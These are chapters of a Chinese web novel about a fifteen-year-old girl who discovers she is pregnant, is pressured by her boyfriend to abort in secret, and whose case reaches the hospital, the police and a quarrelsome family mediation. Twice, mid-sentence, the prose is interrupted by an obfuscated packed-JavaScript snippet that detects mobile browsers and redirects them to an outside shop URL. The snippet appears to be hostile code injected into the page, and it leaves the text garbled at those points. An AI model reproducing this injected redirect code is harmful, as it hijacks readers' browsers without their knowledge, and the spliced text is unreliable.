上次月经:她不记得具体日期,只记得是出事之前那一周。她猜了一个日期,填上去。 周期:她不知道,填了个28天。 然后她看着那个APP给她算出来的“预计下次月经日期”。 已经过了。 过了多久?APP说,今天已经是预计日期的第12天。 她盯着那个数字,盯了很久。 12天。 她放下手机,站起来,在屋里走来走去。走了几圈,又坐下,又拿起手机。 她打开浏览器,犹豫了很久,打了几个字: “紧急避孕药成功率” 搜索结果弹出来:紧急避孕药的成功率在85%左右,越早服用成功率越高,超过72小时效果会大大降低。 她是第几天吃的?第二天还是第三天?她记不清了。 她又搜:“吃了紧急避孕药还会怀孕吗” 答案:会。紧急避孕药不是百分之百有效。如果服药后出现月经推迟,建议用验孕棒检测。 她把手机放下,盯着天花板。 那条裂缝还在。从墙角到灯座,像一条河。 她想起今天课上陈老师说的话:“如果月经推迟一周以上,就要警惕。” 她推迟了12天。 她又拿起手机,搜了一个问题,打了半天才打完那几个字: “验孕棒在哪里买” 答案是:药店。各大药店均有销售。 她关掉浏览器,把手机扔到一边。 外面奶奶在喊吃饭。 她站起来,走出去,坐下吃饭。 奶奶做了红烧肉,夹了一块放她碗里:“多吃点,瘦了。” 她低着头吃,不敢抬头。 吃完饭她回屋写作业,写了半天一个字都没写进去。她一直在想那件事,想那个推迟的12天,想那盒不知道有没有用的药。 写到一半,她站起来,去翻抽屉。 她记得那盒药的说明书还在。那天吃完药她把盒子扔了,说明书好像随手塞在哪个本子里了。 她翻了半天,在一本旧笔记本里找到了。 她展开那张皱巴巴的说明书,借着台灯的光看。 【适应症】用于无保护性行为后的紧急避孕。 【用法用量】在无保护性行为后72小时内服用,越早服用效果越好。服药时间越晚,失败风险越高。 【不良反应】可能出现月经紊乱、恶心、头痛、□□胀痛等。 她盯着那几行字,盯了很久。 72小时内。 她是什么时候吃的?第二天还是第三天? 如果是第二天,应该还在72小时内。 如果是第三天,可能就已经过了。 她不记得了。 她真的不记得了。 她把说明书折好,塞回本子里,把本子放回抽屉。 然后她躺回床上,看着天花板。 窗外的路灯亮着,透进来一点光,在墙上画出一个模糊的方块。 她突然想起今天课上陈老师最后说的那句话: “真正的喜欢,是会保护你的人,不是只会说‘我养你’的人。” 周深说“我养你”。 但他没保护她。 她闭上眼睛,眼眶有点热。 但她没哭。 她不知道明天该怎么办。 但她知道,她得去买一根验孕棒。 12. 命运循环11 林小满不知道自己是怎么睡着的。 第二天是周六,不用上学。她醒得很早,天还没亮透,窗帘外面只有一点点灰白色的光。她躺在床上,盯着天花板,那条裂缝还在。 她起床,轻手轻脚地穿衣服,怕吵醒隔壁的爷爷奶奶。 “这么早去哪?”奶奶的声音从厨房传出来。 她吓了一跳。 “我……我去买早餐。” “买啥早餐,我做饭了。” “我想吃外面的包子。” 奶奶从厨房探出头,看了她一眼。那眼神她说不上来是什么,有点像担心,有点像打量。 “行,早点回来。” “嗯。” 她出门了。 巷子里很安静,几只野猫蹲在墙根底下,看见她过来,懒洋洋地挪了挪地方。她快步走着,走到巷子口,往两边看了看。左边有一家药店,她记得,以前买过创可贴。 她站在药店门口,没进去。 门口有个牌子,写着“24小时营业”。玻璃门关着,里面亮着灯,能看见柜台后面有个穿白大褂的阿姨在玩手机。 她在门口站了快一分钟。 有人从旁边经过,看了她一眼。她低下头,推门进去了。 “买什么?”阿姨抬起头。 她张了张嘴,没说出话来。 “买什么药?” “验……”她声音小得像蚊子,“验孕棒。” 阿姨看了她一眼,没问什么,站起来走到里面的柜台,拿了一个小盒子出来,放在玻璃柜台上。 “十五。” 她掏出钱,一张十块,一张五块,皱巴巴的,攥在手心里攥出汗了。她把钱递过去,拿起那个小盒子,塞进口袋里。 “还要别的吗?” “不要了。” 她转身就走,走得很快,走到门口差点撞到玻璃门。 “慢点。”阿姨在后面说。 她没回头。 回家的路上她把那个小盒子攥在手里,攥得紧紧的,怕它从口袋里掉出来。路上有人看她,她觉得每个人都知道她口袋里装着什么。 巷子口的野猫还在,换了个姿势,继续晒太阳。 她快步走过去。 到家门口她停下来,深吸一口气,推门进去。 奶奶还在厨房,油烟机嗡嗡响着。 “买到啦?” “嗯。” “快吃吧,包子在桌上。” 桌上放着两个包子,还有一碗豆浆。她坐下来,把包子吃了,豆浆喝了。口袋里的那个小盒子硌着她的大腿,硌得她坐立不安。 “奶,我回屋写作业。” “写吧。” 她进了自己屋,把门关上,反锁。 她的手开始抖。 她把那个小盒子拿出来,拆开外面的纸盒,里面是一个铝箔袋,还有一张说明书。她把说明书看了三遍,每个字都看进去了,但什么都没记住。 然后她拿着那个铝箔袋,进了卫生间。 卫生间很小,只有一平米多,转个身都费劲。她把门关上,坐在马桶盖上,把铝箔袋撕开。 里面是一根验孕棒,白色的,塑料的,有一个小窗口,还有一个吸尿的地方。 她照着说明书上写的,把验孕棒拿好,对准。 然后她等着。 说明书上说,三到五分钟出结果。 她坐在马桶盖上,看着那个小窗口。刚开始是空的,什么也没有。然后慢慢的,有一条红线出现了,在左边。 她盯着那条红线,等另一条。 一分钟。 两分钟。 三分钟。 另一条红线出现了。 很淡,比左边那条淡很多,但它出现了。 两条红线。 说明书上写的:两条红线,表示怀孕。 她盯着那两条红线,盯了很久。 然后她把验孕棒扔进垃圾桶,盖上盖子,盖上好几层卫生纸。 她回到自己屋里,把门关上,反锁。 她坐在床边,看着窗外。 窗外的阳光照进来,很亮,亮得刺眼。 她怀孕了。 她才十五岁。 她怀孕了。 她不知道自己坐了多久。等她回过神来,手机已经在手里了。她打开浏览器,手指抖得厉害,打字打了半天才打完那几个字: “人流手术视频” 搜索结果弹出来,第一条是广告:XX医院,无痛人流,当天做完当天走。她划过去,继续往下翻。 有一个视频,标题写着“人流手术全过程模拟”。她点开。 视频开始播放。 先是一个动画,画着子宫,画着一个小小的孕囊。然后一个管子伸进去,吸力开始工作。那个小小的孕囊被吸碎,被吸走,被吸进管子里。子宫壁被刮,一下,两下,三下。画面变成了红色,什么都看不清了。 她关了视频。 手在抖。 她又搜:“药流” 搜索结果:药物流产,适用于怀孕49天以内。服用药物后,会出现腹痛、出血,孕囊会随着血液排出体外。 她又点开一个视频。 这回不是动画,是真人模拟的。一个女人躺在床上,捂着肚子,很疼的样子。床单上全是血,一滩一滩的。有什么东西从她身体里流出来,看不清是什么,但很多血。 视频里有人在说:“这是孕囊排出的过程,可能会有剧烈腹痛,出血量会超过月经量……” 她关了视频。 手机差点从手里滑下去。 她又搜:“人流疼不疼” 弹出来的第一条是广告:XX医院,无痛人流,全程无痛。她往下翻,翻到一些问答。 有人问:人流到底有多疼? 有人答:我做过,疼得想死。医生不打麻药,就那么刮,你能感觉到肉被刮下来的声音。 有人答:做完之后一直流血,流了半个月。现在月经都不正常了。 有人答:大出血,差点没抢救过来。 她又搜:“人流后遗症” 答案:可能不孕、可能宫腔粘连、可能月经不调、可能感染、可能…… 她看不下去了。 手机屏幕上弹出一个窗口,是个广告:XX医院,专业人流,学生优惠,点击咨询。 她吓了一跳,赶紧把广告关了。 又弹出一个:亲爱的,意外怀孕不要怕,我们帮你…… 她又关了。 再弹出一个:在线咨询,24小时服务,免费解答…… 她把手机关了。 屋里一下子安静下来。 她坐在床边,看着窗外。阳光那么亮,照得窗帘都透了。她听见外面有人在说话,是邻居阿姨的声音,在跟奶奶聊天,说什么菜涨价了。奶奶的声音她也听见了,在笑,说那就少买点。 她们在笑。 她坐在这里,怀孕了。 她又把手机打开。 这回没搜视频,没搜广告。她打开微信,找到周深的头像,点进去。 “在吗?” 那边没回。 她等了一会儿,又发:“我有事跟你说。” 还是没回。 她把手机扔在床上,站起来,在屋里走来走去。走了几圈,又拿起手机看。没回。 她又发:“你看见了吗?” 这次回了:“刚下班,怎么了?” 她盯着那三个字,盯了好几秒。 然后她打字:“我怀孕了。” 那边沉默了很久。 她盯着屏幕,等着。一分钟,两分钟,三分钟。 “什么?” “我怀孕了。” “你确定?” “验了,两条线。” 又沉默了。 她等得手心出汗。 “你告诉别人了吗?” “没有。” “你爸妈呢?” “没。” “你爷爷奶奶呢?” “没。” “那就好。” 她看着这三个字,愣住了。 什么叫“那就好”? “什么意思?” “你别告诉他们。谁也别告诉。” “然后呢?” “我们去打掉。” 她盯着这几个字,盯了很久。 “你知道怎么打吗?” “不知道,但可以查。” “我查了。” “怎么说?” “很疼。很可怕。会流血。可能会死。” “你别吓自己。” “我没吓自己。是真的。” “那你想怎么办?生下来?” 她不知道该怎么回。 他又发:“你能生吗?你十五岁,还在上学,你拿什么生?” 她知道他说的是对的。她不能生。她拿什么生? 但她还是觉得有什么地方不对。 “你为什么不让我告诉别人?” “告诉了能怎样?你爸妈知道了能怎样?骂你一顿?打你一顿?你爷爷奶奶知道了能怎样?气死?” “那也不能不告诉他们。” “告诉了,他们肯定不让你打。不让你打,你就得生。你生下来,谁养?你养还是我养?我一个月挣四五千,自己都不够花,拿什么养孩子?” “那也不能……” “不能什么?林小满,你清醒一点。咱俩都养不起孩子。” 她看着这些字,眼眶慢慢红了。 “那你当初为什么不戴套?” 那边沉默了几秒。 “那时候没想那么多。” “没想那么多?现在呢?现在想了吗?” “现在想了,但已经晚了。” “晚了?你说晚了就完了?” “那你要我怎么办?我能怎么办?” 她看着这行字,眼泪掉下来。 “你问我你能怎么办?是你把我弄成这样的。” “是我一个人弄的?你没同意?” 她愣住了。 他又发:“那天晚上你也没说不愿意。” 她盯着这行字,盯了很久。 眼泪一直流,流到手机屏幕上,把字都弄花了。 “我是没说不愿意。但我不懂。我什么都不知道。你知道的比我多,你应该保护我。” “我保护你了。我说我养你。” “那不是保护。那是骗我。” “我没骗你。我是真心的。” “真心?你真心让我去打掉?” “那你说怎么办?你告诉我,怎么办?” 她不知道怎么办。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347230|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她只知道疼。 “我害怕。” “我也害怕。” “那你过来陪我。” “我在外地,回不去。” “那你让我一个人去打?” “我陪不了你。我请不了假。刚来几天就请假,会被开除的。” “那我呢?我怎么办?” “你自己去。找个好点的医院,别去那种小诊所。” “我自己去?” “你先去问问,看看多少钱。我发工资了给你打钱。” 她看着这行字,眼泪流得更凶了。 “周深。” “嗯?” “你不是说要养我吗?” “是。” “这叫养我?” “我能怎么办?我现在就是没钱没本事。我能做的都做了。” “你做了什么?你把我骗出去,把我扔在火车站,让我一个人去打胎,这就叫你能做的都做了?” “我没扔你。那天真的是有事。” “什么事?” “我朋友临时出了事,我去处理了。” “什么事能处理一整天?” “你不信我?” “我不知道该信什么。” “林小满,你听我说。我是真心的。等我攒够钱,我就回去找你。咱俩以后在一起,好好过日子。” “好好过日子?这孩子呢?” “打了就没了。” “打了就没了?你说得容易。” “那你要我怎么说?哭着求你别打?然后呢?生下来?咱俩都养不起,谁养?” 她不说话了。 她又发:“你知道人流多可怕吗?” “不知道。” “我看视频了。全是血。刮宫,把肉刮下来。药流,把肉排出来。疼得要死。” “你别看那些。” “我害怕。” “不怕,没事的。那么多人都做过,不都没事吗?” “你怎么知道没事?” “我……我不知道。但肯定没事的。” “你凭什么肯定?” 他不说话了。 她等着,等了一分钟,两分钟,三分钟。 他又发:“那你到底想怎么办?” 她看着这行字,看了很久。 她想说,我不知道。 她想说,我怕。 她想说,你能不能抱抱我。 但她什么都没说。 她只打了三个字:“我不知道。” “那你先别急,慢慢想。我明天再找你聊。要去上班了。” 她看着这行字,眼泪又流下来。 “你就这么走了?” “我不走不行,迟到扣钱。” “我怀孕了,你要去上班?” “那我怎么办?不去上班,没钱,拿什么给你打胎?” “你就知道打胎?” “那你说怎么办?” 她又不说话了。 “林小满,你别这样。我真的是没办法。等我有钱了,什么都好说。” “什么都有钱?我死了也有钱?” “你别瞎说。” “我没瞎说。网上说人流会死人的。” “那是小概率。你去大医院,没事的。” “你陪我去。” “我真的请不了假。” “你不想陪我去。” “我想,但我没办法。” “你有办法,你只是不想。” “林小满!” “干嘛?” “你别逼我。” “我逼你?是我怀孕了还是你怀孕了?” “我知道你难受,但我也难受。” “你难受什么?你又不用流血,又不用刮宫,又不用疼。” “我心里难受。” “心里难受?你知道什么叫心里难受?” 他不说话了。 她等着。 等了好久,他发了一条:“我先去上班了。晚点聊。” 然后他头像暗了。 她盯着那个暗掉的头像,盯了很久。 手机屏幕上全是泪痕,她用手擦,擦不掉。 她把手机扔到一边,躺在床上,看着天花板。 那条裂缝还在。 从墙角到灯座,像一条河。 她想起小时候,她问奶奶这条裂缝是怎么回事。奶奶说房子老了,都这样。她又问会不会塌,奶奶说塌不了,奶奶在呢。 奶奶在呢。 但她不能告诉奶奶。 奶奶知道了会怎么样?会气死吗?会打她吗?会哭着问她为什么这么不懂事? 她不知道。 她只知道她不能说。 窗外的阳光慢慢移过去,从床头移到床尾,又从床尾移到墙上。 她一直躺着,没动。 手机震了一下。 她拿起来看,是周深发的:“到厂里了。你好好休息,别想太多。等我发工资就给你打钱。” 她看着这行字,看了很久。 然后她把手机放下,继续看着天花板。 眼泪又流下来,顺着脸颊流到耳朵里,流到枕头上。 她不知道该怎么办。 她只知道她怀孕了。 她才十五岁。 13. 命运循环12 林小满是周三下午跟林雨说的。 那天体育课,她又被打了一顿。不重,就是那些老地方——胳膊、腰、后背、大腿。打完她蹲在角落里,蹲了很久,蹲到腿都麻了。 林雨找到她的时候,她正在把卷起来的袖子放下来。 “你干嘛呢?” “没干嘛。” 林雨盯着她,盯着她的胳膊。那块青的没遮住,露出一角。 “那是什么?” “什么?” “你胳膊上。” 林小满把胳膊往后藏:“撞的。” 林雨没说话,走过去,把她的袖子撸起来。 那块青的露出来了,还有旁边几块,大大小小,青紫交加。 林雨的手顿住了。 “这是什么?” “……撞的。” “撞能撞成这样?”林雨的声音变了,“谁弄的?” 林小满不说话。 “林小满!” 她还是不说话。 林雨盯着她,眼眶慢慢红了。 “是不是宋婷婷?” 林小满低下头。 “是不是?” “……你别管了。” “我别管?”林雨一把抓住她的胳膊,“你让人打成这样,你让我别管?” 林小满抬起头,看着她。看着她红了的眼眶,看着她攥紧的手,看着她着急的样子。 然后她突然就哭了。 不是掉眼泪那种,是真的哭了,哭出声来,像小时候摔跤那样,呜呜的。 林雨吓坏了,赶紧抱住她。 “怎么了?你说话啊,怎么了?” 林小满把脸埋在她肩膀上,哭得浑身发抖。她也不知道自己为什么哭。是因为疼吗?是因为害怕吗?还是因为终于有人问她怎么了? 她说不清。 她只知道她忍不住了。 哭了很久,哭到没力气了,她才停下来。 林雨一直抱着她,没松手。 “到底怎么了?” 林小满抬起头,看着她。看着她眼睛里的担心,看着她脸上的着急。 她开口了。 “林雨,我怀孕了。” 林雨愣住了。 “什么?” “我怀孕了。” 林雨张着嘴,半天没说出话。 “那个男的?” “嗯。” “他知道吗?” “知道。” “他怎么说?” “让我去打掉。” 林雨沉默了。 过了一会儿,她问:“什么时候去?” “不知道。” “我陪你去。” 林小满看着她。 “我陪你去。”林雨又说了一遍,“你一个人不行。” 林小满的眼泪又下来了。 周六早上,她们出门了。 林小满跟奶奶说去林雨家写作业,奶奶没多问,只是说早点回来。林雨跟她妈说去图书馆,她妈也没多问。 她们坐公交,倒了三趟车,去了一个离学校很远很远的医院。林雨在网上查的,说这家医院正规,不贵,也不用排很久队。 医院很大,白色的楼,进进出出很多人。她们站在门口,看着那些人来人往,谁也没动。 “进去吧。”林雨说。 “嗯。” 她们进去了。 挂号,排队,等叫号。林小满坐在候诊区的椅子上,手心全是汗。林雨在旁边坐着,时不时看她一眼。 “林小满。” 到她们了。 诊室里坐着一个女医生,四十多岁,戴着眼镜,头发盘起来,看起来很温和。她看了一眼她们,问:“谁看病?” 林小满站起来。 “我。” “坐。哪里不舒服?” 林小满张了张嘴,没说出话来。 医生看了看她,又看了看林雨,然后把目光收回来,声音放轻了。 “有什么事,慢慢说。” 林小满低下头,声音小得像蚊子。 “我……我想做人流。” 医生顿了一下。 “多大?” “十五。” 医生沉默了几秒,然后站起来,把诊室的门关上。 “你们两个都是未成年?” “嗯。” 医生走回来,在她对面坐下,看着她。 “孩子,你听我说。人流不是小事,尤其对你这个年纪。我得先给你做检查,确认怀孕周期,看看你身体情况,才能决定能不能做、怎么做。你明白吗?” 林小满点头。 “那好,我先给你开单子,去做检查。B超,还有几项血液检查。做完拿结果回来找我。” 林小满接过单子,站起来。 “等等。”医生叫住她,“你是自己来的?你家里知道吗?” 林小满低下头。 医生看了她一会儿,叹了口气。 “先去做检查吧。” 检查做了很久。B超的时候,医生让她躺下,在肚子上涂了凉凉的胶,用一个东西按来按去。旁边的屏幕上显示着什么,她看不懂,也不敢看。 “起来吧。”医生说,“去门口等结果。” 她坐在B超室门口等,林雨陪着她。 等了半小时,结果出来了。一张单子,上面有字,还有一张黑白的图片,她看不懂,只看见上面有一个小小的东西,像一个豆子。 她拿着单子,回到诊室。 医生接过去,看了一会儿,抬起头。 “怀孕了,大概七周。” 七周。 林小满算了算,出事那天到现在,差不多就是七周。 “孩子,这个人流手术我可以给你做,但是——”医生顿了顿,“你们两个都是未成年,做手术需要监护人签字。你家长来了吗?” 林小满愣住了。 “没……没有。” “那不行。法律规定,未成年人的手术必须由监护人签字。你回去叫你家长来。” “医生,我……” “孩子,我知道你可能觉得为难。但这是为你好。人流有风险,手术过程中可能出现各种情况,必须有家人在场,必须有人签字。这不是我能通融的事。” 林小满的眼眶红了。 “医生,求求您……” 医生看着她,看着她红了的眼眶,看着她发抖的手,沉默了一会儿。 “孩子,你告诉阿姨,这孩子是谁的?” 林小满低下头,不说话。 “那个男的,多大了?” “……十七。” 医生叹了口气。 “他陪你来了吗?” “没有。” “他在哪?” “在外地打工。” 医生又沉默了。 她拿起那张B超单,看了看,又放下。 然后她抬起头,看着林小满,眼神里有一种说不清的东西。心疼?可惜?还是别的什么? “孩子,你在这儿等着,阿姨出去打个电话。” 她站起来,走出诊室。 林小满不知道她要去打给谁。她只是坐在那儿,等着。 林雨在旁边,握着她的手。 过了一会儿,门开了。 进来的不是医生,是两个人。一男一女,穿着警服。 林小满的脑子嗡的一声,一片空白。 “你是林小满?”女警问。 她点头,点得很轻,像点不动。 “我们是派出所的。医院报警了,说有个未成年女孩来做流产,没有家长陪同。我们需要了解一下情况。” 林小满的眼泪流下来,流得满脸都是。 女警走过来,在她旁边坐下,声音放轻了。 “别怕。跟阿姨说,这孩子是谁的?” 林小满只是哭,说不出话。 林雨在旁边,急得不行:“警察阿姨,她害怕,你们别吓她。” “没吓她。”女警的声音很温和,“我们就是想了解情况,帮她解决问题。她家长呢?通知了吗?” “没……没有。” “那你们家住哪?爸妈电话多少?” 林小满抬起头,看着她。 “我爸妈在外地。” “那家里还有谁?” “爷爷奶奶。” 女警沉默了一下,然后拿出手机。 “电话号码多少?” 林小满报了一串数字,报得很慢,像每个数字都有千斤重。 电话接通了。 “喂,是林小满的家长吗?我是派出所的……对,您别急,听我说,您孙女现在在医院,没什么大事,但需要您过来一趟……地址我发您手机上,您尽快来。” 挂掉电话,女警看着她。 “爷爷奶奶马上来。” 林小满低下头,又开始哭。 接下来的时间,她不知道是怎么过的。只知道坐在那儿,一直在哭,哭到眼睛肿了,哭到没眼泪了。 然后门开了。 奶奶冲进来。 “小满!” 奶奶跑过来,一把抱住她。爷爷跟在后面,脸色发白,手一直在抖。 “怎么了?出什么事了?”奶奶抱着她,声音都变了,“你怎么在医院?哪不舒服?” 林小满看着她奶奶,看着她花白的头发,看着她急得发红的眼眶,张了张嘴,说不出话。 医生走进来,站在旁边。 “阿姨,您先别急。是这样的,您孙女来医院,是要做人流手术。” 奶奶愣住了。 “什么?” “她怀孕了,七周左右,来做流产。但是法律规定,未成年人手术必须监护人签字,所以她把你们叫来了。” 奶奶松开手,退后一步,看着林小满。 “怀……怀孕?” 林小满低下头,不说话。 奶奶的手抬起来,想打她,又放下了。 “你……你跟那个男的?” 林小满点头。 奶奶的眼泪下来了。 “你怎么这么傻啊!” 爷爷在旁边站着,脸色白得像纸,一句话都说不出来。 女警走过来,站在中间。 “阿姨,您先别激动。现在不是追究这个的时候,孩子已经这样了,我们先解决问题。那个男的,你们知道是谁吗?” 奶奶点头。 “知道。姓周,十七,在电子厂打工。” “能联系上吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347231|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 奶奶看着林小满。 “手机呢?” 林小满把手机递过去。 奶奶翻了一会儿,找到周深的微信,直接打了个语音过去。 那边接了。 “喂?林小满?” 奶奶开口了,声音又硬又冷。 “周深是吧?我是林小满的奶奶。你现在在哪?” 那边沉默了。 “说话。” “……我在外地。” “马上回来。” “阿姨,我……” “我让你马上回来。”奶奶的声音抖起来,但不是哭,是气,“我孙女怀孕了,你让她一个人来打胎,你在外地?你算什么男人?你给我滚回来!” 那边又沉默了。 然后周深的声音传来,小了很多。 “阿姨,我回来……我明天就买车票。” “不用明天。现在就去买。买到了给我发消息。要是敢不回来,我报警抓你。” 挂掉电话,奶奶把手机还给林小满。 林小满低着头,不敢看她。 女警在旁边看着,叹了口气。 “阿姨,您也别太生气。孩子已经这样了,骂也没用。现在我们得商量一下,接下来怎么办。” 奶奶擦了一把眼泪。 “能怎么办?做手术啊,总不能生下来。” “手术可以做,但是——”女警顿了顿,“这个事涉及到未成年怀孕,按照程序,我们要立案调查。那个男孩,他成年了吗?” “十七。” “那还没成年。但他跟未成年人发生性关系,虽然不是□□,但也是需要调查的。我们会把他叫来,还有他父母,一起到派出所,把这件事处理好。” 奶奶点头。 “行,该怎么做就怎么做。” 女警看着林小满。 “孩子,你跟阿姨说实话,那天晚上,你愿意吗?” 林小满愣了一下,然后点头。 “愿意的。” “他有没有强迫你?” “没有。” “有没有威胁你?” “没有。” 女警点点头,在本子上记了几笔。 “行,我知道了。先做手术,做完手术去派出所。” 医生在旁边开口了。 “警察同志,手术不是今天就能做的。她需要先做术前检查,还要预约时间。最快也要后天。” 女警点点头,看着奶奶。 “那阿姨,你们先带她回去。后天来做手术,做完联系我。那个男孩,你们让他直接去派出所报到。” 奶奶点头,扶着林小满站起来。 走到门口的时候,医生叫住她。 “孩子。” 林小满回头。 医生走过来,看着她,眼神很温和。 “阿姨跟你说几句话。你是女孩子,要爱惜自己。以后遇到这种事,一定要告诉家长,不要一个人扛。那个男孩,如果他是真心喜欢你,就应该保护你,而不是让你一个人来打胎。你明白吗?” 林小满点头,点得很轻。 医生伸手,轻轻拍了拍她的肩膀。 “去吧。后天来的时候,别害怕,阿姨在。” 林小满的眼泪又下来了。 走出医院,阳光很亮,晃得人睁不开眼。 奶奶一直攥着她的手,攥得很紧。 林雨跟在后面,不说话。 爷爷走在最前面,背有点驼,走得很快。 她们上了公交车,找了个位置坐下。林小满靠窗,奶奶挨着她。 一路上谁也没说话。 到家的时候,天快黑了。 奶奶进了屋,坐在椅子上,看着林小满。 “说吧。” 林小满站在她面前,低着头。 “什么时候的事?” “上个月。” “几次?” “……一次。” 奶奶看着她,看着她低着头的样子,看着她哭肿的眼睛。 “你骗我。” 林小满抬起头。 “你那天说去林雨家住,是不是跟他走的?” 林小满不说话。 奶奶的眼泪又下来了。 “我打你二十多个电话,你一个都不接。我急得要死,你跟他跑外地去。你知不知道我多担心?” “奶,我错了。” “错了?现在知道错了?早干嘛去了?” 林小满不说话。 爷爷在旁边开口了,声音沙哑的。 “别骂了。骂有用吗?” 奶奶不说话了,只是哭。 林小满走过去,蹲在她面前。 “奶,对不起。” 奶奶看着她,看着她哭红的脸,看着她瘦小的身子。 然后伸手,把她抱住了。 “傻孩子。” 林小满把脸埋在她肩膀上,又哭了。 窗外天黑了。 路灯亮了。 她们家的灯也亮了。 明天,周深会回来。 后天,她要去医院。 再往后,要去派出所。 她不知道后面会发生什么。 但她知道,奶奶在呢。 14. 命运循环13 派出所的调解室从来没这么热闹过。 屋子不大,一张长桌子,两边摆着椅子,墙上挂着“公正执法”四个大字。现在这些椅子上坐满了人,还有站着的,挤得满满当当。 林小满坐在角落里,靠着墙,低着头。林雨本来不能进来,但她死活不走,警察看她急成那样,也就算了,让她蹲在林小满旁边。 周深坐在对面,也是低着头,不敢看任何人。他旁边是他爸妈,他妈胖胖的,烫着卷发,穿着一件花衬衫,一脸的不耐烦。他爸瘦,抽烟抽得牙都黄了,进来就没停过咳嗽。 林小满的爷爷奶奶坐在中间。奶奶眼睛肿得像个桃,爷爷脸色发白,一句话不说。 林小满的爸妈是最后到的。 她妈瘦,颧骨很高,烫着那种小卷的头发,穿着一条碎花裙子,踩着一双高跟鞋,走路噔噔响。她爸跟在后面,黑,瘦,穿着件皱巴巴的短袖,手里还拎着一个蛇皮袋,像是刚从工地上赶回来的。 一进门,她妈就嚷嚷开了。 “人呢?那小婊子在哪?” 调解室里一下子安静了。 林小满的头更低了一点。 奶奶站起来:“你说谁呢?” “我说谁?我说你孙女!”她妈走过来,一眼看见角落里的林小满,冲过去就要揪她头发,“你个小骚货,才多大就出去勾引人?老娘的脸都让你丢尽了!” 林雨赶紧挡在前面:“阿姨您别——” “你给我起开!” 警察站起来,一把拦住她。 “干什么?当着警察面打人?” 她妈被拦住,挣了几下没挣开,嘴里还在骂:“你个小浪蹄子,十五岁就跟人上床,你还要不要脸?你怎么不去死?” 林小满缩在角落里,浑身发抖。 奶奶气得浑身哆嗦:“你骂谁?你当妈的就这么骂孩子?” “我骂错了?她不是我生的?我生她出来就是让她出去卖的?” 爷爷站起来,脸涨得通红:“你再说一遍?” “我说一百遍也是这个理!十五岁就怀上,这不是骚是什么?贱货!小婊子!” “够了!”警察一拍桌子,“都给我坐下!再吵都出去!” 调解室里安静了几秒。 她妈被按到椅子上坐下,嘴里还在嘀嘀咕咕。 警察站到桌子前头,环顾了一圈。 “今天叫大家来,是解决问题,不是吵架。都冷静下来,一个一个说。” 没人说话。 警察看着周深:“你先说。那天晚上怎么回事?” 周深低着头,不说话。 “问你话呢。” “……就,就在一块儿了。” “什么叫在一块儿了?说清楚。” “就……就那个了。” 他爸在旁边踢了他一脚:“大声点!” 周深抬起头,看了林小满一眼,又低下去了。 “就……她愿意的。” 林小满的妈又跳起来:“她愿意?她才十五岁,懂什么愿意不愿意?你个狗日的骗她——” “坐下!”警察吼了一声。 她妈又坐下了。 警察看着林小满。 “林小满,你说。那天晚上,你愿意吗?” 林小满抬起头,看了他一眼,又低下头,点了一下。 “说话,愿意还是不愿意?” “……愿意。” 她妈又在旁边骂开了:“愿意?你个小婊子还有脸说愿意?我打死你——” “你闭嘴!”警察瞪了她一眼,“再吵把你请出去!” 调解室终于安静下来了。 男方的妈开口了,声音尖尖的,带着点那种“你们别想讹我”的意思。 “警察同志,我们家周深是跟她谈对象的,又不是□□,你情我愿的事。现在怀上了,我们家也不是不负责任的人。这样,生下来,让他们结婚。” 奶奶愣住了。 “结婚?她才十五!” “十五咋了?我们那会儿十六就结了。早点结婚早点生孩子,多好。” “她还要上学呢!” “上学?”男方的妈笑了一声,“都这样了还上啥学?嫁过来好好过日子得了。我们周深在电子厂打工,一个月四五千,养得起她。” 爷爷站起来:“她初中还没毕业!” “初中毕业有啥用?现在大学生都找不到工作。早点嫁人,早点享福。” 林小满的妈在旁边听着,突然插嘴。 “结婚也行,那彩礼呢?” 林小满抬起头,看着她妈。 她妈没看她,只盯着男方父母。 “你们家拿多少彩礼?” 男方妈愣了一下,然后笑了。 “彩礼?都这样了还想要彩礼?你闺女肚子都大了,谁还要她?我们家肯要她就不错了。” “什么叫肯要她就不错了?”林小满的妈站起来,“我闺女清清白白的,让你们家小子糟蹋了,还想要一分钱不花?做梦呢?” “清清白白?”男方妈笑出声来,“你闺女十五岁就跟人上床,还清白?说出去谁信?” “你——” “我怎么了?我说错了?你闺女勾引我儿子,把我儿子骗得团团转,现在怀上了想讹钱?门都没有!” 奶奶气得浑身发抖:“你放屁!谁勾引谁?” “你孙女勾引我儿子!要不是她天天往我儿子跟前凑,我儿子能看上她?” “你——” “够了!”警察又拍桌子,“都给我坐下!” 两个人瞪着眼,谁也没坐。 “坐下!” 她们才坐下了。 班主任在旁边一直没说话,这会儿开口了。 “我说几句。” 警察点点头。 班主任看着林小满的爸妈,又看着男方父母。 “林小满是我学生,今年才十五岁,还在义务教育阶段。按照法律规定,她必须完成九年义务教育。现在她怀孕了,可以休学,但休学完了还要回来上学。这是法律规定的。” 男方妈撇撇嘴:“上啥学?都嫁人了还上学?” “嫁人也不能不上学。九年义务教育是国家规定的,谁也不能剥夺。” “那她肚子里的孩子咋办?” 班主任看着她,声音很平。 “我的意见是,做人流。她还小,自己还是个孩子,怎么生孩子?生下来谁养?她自己都养不活。” 林小满的妈在旁边接话:“打掉也行,那他们家得赔钱。” 班主任愣了一下。 “这是钱的事吗?” 